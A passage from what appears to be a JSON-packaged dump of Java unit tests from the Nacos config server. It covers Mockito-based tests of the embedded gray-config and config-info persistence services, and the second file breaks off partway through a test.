    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.core.distributed.id.IdGeneratorManager;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n/**\n * test for embedded config tag.\n *\n * @author shiyiyue\n */\n@ExtendWith(SpringExtension.class)\npublic class EmbeddedConfigInfoGrayPersistServiceImplTest {\n    \n    private EmbeddedConfigInfoGrayPersistServiceImpl embeddedConfigInfoGrayPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private IdGeneratorManager idGeneratorManager;\n    \n    @Mock\n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<EmbeddedStorageContextHolder> embeddedStorageContextHolderMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DatabaseOperate databaseOperate;\n    \n    /**\n     * before test.\n     */\n    @BeforeEach\n    public void before() {\n        embeddedStorageContextHolderMockedStatic = Mockito.mockStatic(EmbeddedStorageContextHolder.class);\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"derby\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false)))\n                .thenReturn(false);\n        embeddedConfigInfoGrayPersistService = new EmbeddedConfigInfoGrayPersistServiceImpl(databaseOperate,\n                idGeneratorManager, historyConfigInfoPersistService);\n    }\n    \n    /**\n     * after each case.\n     */\n    @AfterEach\n    public void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        embeddedStorageContextHolderMockedStatic.close();\n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayOfAdd() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        //mock query config state empty and return obj after insert\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String grayName = \"tag123grayName\";\n        String grayRule = \"\";\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null).thenReturn(configInfoStateWrapper);\n        \n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = embeddedConfigInfoGrayPersistService.insertOrUpdateGray(configInfo,\n                grayName, grayRule, srcIp, srcUser);\n        \n        //mock insert invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), any(), eq(dataId), eq(group), eq(tenant),\n                        eq(grayName), eq(grayRule), eq(appName), eq(content),\n                        eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), any(Timestamp.class)), times(1));\n        \n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configInfo.getId()), eq(configInfo), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(\"I\"), eq(\"gray\"), eq(grayName), anyString());\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayOfUpdate() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        //mock query config state and return obj after update\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String grayName = \"tag123grayName\";\n        final String grayRule = \"tag123grayrule\";\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                        eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(new ConfigInfoStateWrapper())\n                .thenReturn(configInfoStateWrapper);\n        \n        //mock exist config info\n        ConfigInfoGrayWrapper configAllInfo4Gray = new ConfigInfoGrayWrapper();\n        configAllInfo4Gray.setDataId(dataId);\n        configAllInfo4Gray.setGroup(group);\n        configAllInfo4Gray.setTenant(tenant);\n        configAllInfo4Gray.setMd5(\"old_md5\");\n        configAllInfo4Gray.setSrcUser(\"user\");\n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(configAllInfo4Gray);\n        \n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = embeddedConfigInfoGrayPersistService.insertOrUpdateGray(configInfo,\n                grayName, grayRule, srcIp, srcUser);\n        //verify update to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(content),\n                        eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(appName), eq(grayRule), eq(dataId), eq(group), eq(tenant),\n                        eq(grayName)), times(1));\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo4Gray.getId()), eq(configAllInfo4Gray), eq(srcIp),\n                        eq(srcUser), any(Timestamp.class), eq(\"U\"), eq(\"gray\"), eq(grayName), anyString());\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayCasOfAdd() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        configInfo.setMd5(\"casMd5\");\n        //mock query config state empty and return obj after insert\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String grayName = \"tag123grayName\";\n        String grayRule = \"\";\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null).thenReturn(configInfoStateWrapper);\n        \n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = embeddedConfigInfoGrayPersistService.insertOrUpdateGrayCas(configInfo,\n                grayName, grayRule, srcIp, srcUser);\n        //verify insert to be invoked\n        //mock insert invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), any(), eq(dataId), eq(group), eq(tenant),\n                        eq(grayName), eq(grayRule), eq(appName), eq(content),\n                        eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), any(Timestamp.class)), times(1));\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configInfo.getId()), eq(configInfo), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(\"I\"), eq(\"gray\"), eq(grayName), anyString());\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayCasOfUpdate() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        configInfo.setMd5(\"casMd5\");\n        //mock query config state and return obj after update\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String grayName = \"tag123grayName\";\n        final String grayRule = \"\";\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                        eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(new ConfigInfoStateWrapper())\n                .thenReturn(configInfoStateWrapper);\n        \n        //mock exist config info\n        ConfigInfoGrayWrapper configAllInfo4Gray = new ConfigInfoGrayWrapper();\n        configAllInfo4Gray.setDataId(dataId);\n        configAllInfo4Gray.setGroup(group);\n        configAllInfo4Gray.setTenant(tenant);\n        configAllInfo4Gray.setMd5(\"old_md5\");\n        configAllInfo4Gray.setSrcUser(\"user\");\n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(configAllInfo4Gray);\n        \n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        \n        //mock cas update return 1\n        Mockito.when(databaseOperate.blockUpdate()).thenReturn(true);\n        ConfigOperateResult configOperateResult = embeddedConfigInfoGrayPersistService.insertOrUpdateGrayCas(configInfo,\n                grayName, grayRule, srcIp, srcUser);\n        //verify update to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(content),\n                        eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), eq(appName),\n                        eq(grayRule), eq(dataId), eq(group), eq(tenant), eq(grayName), eq(configInfo.getMd5())),\n                times(1));\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo4Gray.getId()), eq(configAllInfo4Gray), eq(srcIp),\n                        eq(srcUser), any(Timestamp.class), eq(\"U\"), eq(\"gray\"), eq(grayName), anyString());\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n    }\n    \n    @Test\n    public void testRemoveConfigInfoGrayName() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        final String srcIp = \"ip345678\";\n        final String srcUser = \"user1234567\";\n        final String grayName = \"grayName...\";\n        \n        //mock exist config info\n        ConfigInfoGrayWrapper configAllInfo4Gray = new ConfigInfoGrayWrapper();\n        configAllInfo4Gray.setDataId(dataId);\n        configAllInfo4Gray.setGroup(group);\n        configAllInfo4Gray.setTenant(tenant);\n        configAllInfo4Gray.setMd5(\"old_md5\");\n        \n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(configAllInfo4Gray);\n        \n        embeddedConfigInfoGrayPersistService.removeConfigInfoGray(dataId, group, tenant, grayName, srcIp, srcUser);\n        \n        //verify delete sql invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(dataId), eq(group), eq(tenant),\n                        eq(grayName)), times(1));\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo4Gray.getId()), eq(configAllInfo4Gray), eq(srcIp),\n                        eq(srcUser), any(Timestamp.class), eq(\"D\"), eq(\"gray\"), eq(grayName), anyString());\n    }\n    \n    @Test\n    public void testFindConfigInfo4Gray() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        String grayName = \"tag123345\";\n        \n        //mock query tag return obj\n        ConfigInfoGrayWrapper configInfoGrayWrapperMocked = new ConfigInfoGrayWrapper();\n        configInfoGrayWrapperMocked.setLastModified(System.currentTimeMillis());\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(configInfoGrayWrapperMocked);\n        \n        ConfigInfoGrayWrapper configInfo4GrayReturn = embeddedConfigInfoGrayPersistService.findConfigInfo4Gray(dataId,\n                group, tenant, grayName);\n        assertEquals(configInfoGrayWrapperMocked, configInfo4GrayReturn);\n    }\n    \n    @Test\n    public void testConfigInfoGrayCount() {\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        \n        //mock count\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(308);\n        //execute & verify\n        int count = embeddedConfigInfoGrayPersistService.configInfoGrayCount();\n        assertEquals(308, count);\n    }\n    \n    @Test\n    public void testFindAllConfigInfoGrayForDumpAll() {\n        \n        //mock count\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(308);\n        List<ConfigInfoGrayWrapper> mockGrayList = new ArrayList<>();\n        mockGrayList.add(new ConfigInfoGrayWrapper());\n        mockGrayList.add(new ConfigInfoGrayWrapper());\n        mockGrayList.add(new ConfigInfoGrayWrapper());\n        mockGrayList.get(0).setLastModified(System.currentTimeMillis());\n        mockGrayList.get(1).setLastModified(System.currentTimeMillis());\n        mockGrayList.get(2).setLastModified(System.currentTimeMillis());\n        //mock query list\n        Mockito.when(\n                        databaseOperate.queryMany(anyString(), eq(new Object[] {}), eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER)))\n                .thenReturn(mockGrayList);\n        int pageNo = 3;\n        int pageSize = 100;\n        //execute & verify\n        Page<ConfigInfoGrayWrapper> returnGrayPage = embeddedConfigInfoGrayPersistService.findAllConfigInfoGrayForDumpAll(\n                pageNo, pageSize);\n        assertEquals(308, returnGrayPage.getTotalCount());\n        assertEquals(mockGrayList, returnGrayPage.getPageItems());\n    }\n    \n    @Test\n    public void testFindConfigInfoGrays() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        List<String> mockedGrays = Arrays.asList(\"tags1\", \"tags11\", \"tags111\");\n        Mockito.when(databaseOperate.queryMany(anyString(), eq(new Object[] {dataId, group, tenant}), eq(String.class)))\n                .thenReturn(mockedGrays);\n        List<String> configInfoGrays = embeddedConfigInfoGrayPersistService.findConfigInfoGrays(dataId, group, tenant);\n        assertEquals(mockedGrays, configInfoGrays);\n    }\n    \n    @Test\n    public void testFindChangeConfigInfo4Gray() {\n        List<ConfigInfoGrayWrapper> mockList = new ArrayList<>();\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.get(0).setLastModified(System.currentTimeMillis());\n        mockList.get(1).setLastModified(System.currentTimeMillis());\n        mockList.get(2).setLastModified(System.currentTimeMillis());\n        long lastMaxId = 123;\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {timestamp, lastMaxId, 100}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(mockList)\n                .thenThrow(new CannotGetJdbcConnectionException(\"mock exception22\"));\n        \n        List<ConfigInfoGrayWrapper> changeConfig = embeddedConfigInfoGrayPersistService.findChangeConfig(timestamp,\n                lastMaxId, 100);\n        assertTrue(changeConfig.get(0).getLastModified() == mockList.get(0).getLastModified());\n        assertTrue(changeConfig.get(1).getLastModified() == mockList.get(1).getLastModified());\n        assertTrue(changeConfig.get(2).getLastModified() == mockList.get(2).getLastModified());\n        try {\n            embeddedConfigInfoGrayPersistService.findChangeConfig(timestamp, lastMaxId, 100);\n            assertTrue(false);\n        } catch (CannotGetJdbcConnectionException exception) {\n            assertEquals(\"mock exception22\", exception.getMessage());\n        }\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExtInfoUtil;\nimport com.alibaba.nacos.core.distributed.id.IdGeneratorManager;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_ADVANCE_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_ALL_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.persistence.repository.RowMapperManager.MAP_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.argThat;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n/**\n * EmbeddedConfigInfoPersistServiceImplTest.\n *\n * @author shiyiyue\n */\n@ExtendWith(SpringExtension.class)\nclass EmbeddedConfigInfoPersistServiceImplTest {\n    \n    @Mock\n    IdGeneratorManager idGeneratorManager;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<EmbeddedStorageContextHolder> embeddedStorageContextHolderMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DatabaseOperate databaseOperate;\n    \n    private EmbeddedConfigInfoPersistServiceImpl embeddedConfigInfoPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    @BeforeEach\n    void before() {\n        embeddedStorageContextHolderMockedStatic = Mockito.mockStatic(EmbeddedStorageContextHolder.class);\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"derby\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false)))\n                .thenReturn(false);\n        embeddedConfigInfoPersistService = new EmbeddedConfigInfoPersistServiceImpl(databaseOperate, idGeneratorManager,\n                historyConfigInfoPersistService);\n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        embeddedStorageContextHolderMockedStatic.close();\n    }\n    \n    @Test\n    void testInsertOrUpdateOfInsertConfigSuccess() {\n        \n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appNameNew\";\n        String content = \"content132456\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        String desc = \"testdesc\";\n        String use = \"testuse\";\n        String effect = \"testeffect\";\n        String type = \"testtype\";\n        String schema = \"testschema\";\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        configAdvanceInfo.put(\"desc\", desc);\n        configAdvanceInfo.put(\"use\", use);\n        configAdvanceInfo.put(\"effect\", effect);\n        configAdvanceInfo.put(\"type\", type);\n        configAdvanceInfo.put(\"schema\", schema);\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        String encryptedDataKey = \"key1234\";\n        configInfo.setEncryptedDataKey(encryptedDataKey);\n        long insertConfigIndoId = 12345678765L;\n        ConfigInfoStateWrapper configInfoStateWrapperFinalSelect = new ConfigInfoStateWrapper();\n        configInfoStateWrapperFinalSelect.setId(insertConfigIndoId);\n        configInfoStateWrapperFinalSelect.setLastModified(System.currentTimeMillis());\n        //mock get config state\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null, configInfoStateWrapperFinalSelect);\n        Mockito.when(databaseOperate.blockUpdate(any())).thenReturn(true);\n        \n        String srcIp = \"srcIp\";\n        String srcUser = \"srcUser\";\n        //mock insert config info\n        Mockito.doNothing().when(historyConfigInfoPersistService)\n                .insertConfigHistoryAtomic(eq(0), eq(configInfo), eq(srcIp), eq(srcUser), any(Timestamp.class), eq(\"I\"),\n                        eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo, srcUser)));\n        \n        ConfigOperateResult configOperateResult = embeddedConfigInfoPersistService.insertOrUpdate(srcIp, srcUser,\n                configInfo, configAdvanceInfo);\n        assertEquals(configInfoStateWrapperFinalSelect.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapperFinalSelect.getLastModified(), configOperateResult.getLastModified());\n        \n        //expect insert config info invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(dataId), eq(group),\n                        eq(tenant), eq(appName), eq(content), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)),\n                        eq(srcIp), eq(srcUser), eq(desc), eq(use), eq(effect), eq(type), eq(schema),\n                        eq(encryptedDataKey)), times(1));\n        //expect insert config tags\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(\"tag1\"),\n                        eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)), times(1));\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(\"tag2\"),\n                        eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)), times(1));\n        \n        //expect insert history info\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(0L), eq(configInfo), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                        eq(\"I\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo, srcUser)));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateCasOfInsertConfigSuccess() {\n        \n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        String desc = \"testdesc\";\n        String use = \"testuse\";\n        String effect = \"testeffect\";\n        String type = \"testtype\";\n        String schema = \"testschema\";\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        configAdvanceInfo.put(\"desc\", desc);\n        configAdvanceInfo.put(\"use\", use);\n        configAdvanceInfo.put(\"effect\", effect);\n        configAdvanceInfo.put(\"type\", type);\n        configAdvanceInfo.put(\"schema\", schema);\n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appName\";\n        String content = \"content132456\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        String encryptedDatakey = \"key456\";\n        configInfo.setEncryptedDataKey(encryptedDatakey);\n        long insertConfigIndoId = 12345678765L;\n        ConfigInfoStateWrapper configInfoStateWrapperFinalSelect = new ConfigInfoStateWrapper();\n        configInfoStateWrapperFinalSelect.setId(insertConfigIndoId);\n        configInfoStateWrapperFinalSelect.setLastModified(System.currentTimeMillis());\n        //mock get config state\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null, configInfoStateWrapperFinalSelect);\n        Mockito.when(databaseOperate.blockUpdate(any())).thenReturn(true);\n        String srcIp = \"iptest\";\n        String srcUser = \"users\";\n        ConfigOperateResult configOperateResult = embeddedConfigInfoPersistService.insertOrUpdateCas(srcIp, srcUser,\n                configInfo, configAdvanceInfo);\n        assertEquals(configInfoStateWrapperFinalSelect.getId(), configOperateResult.getId());\n        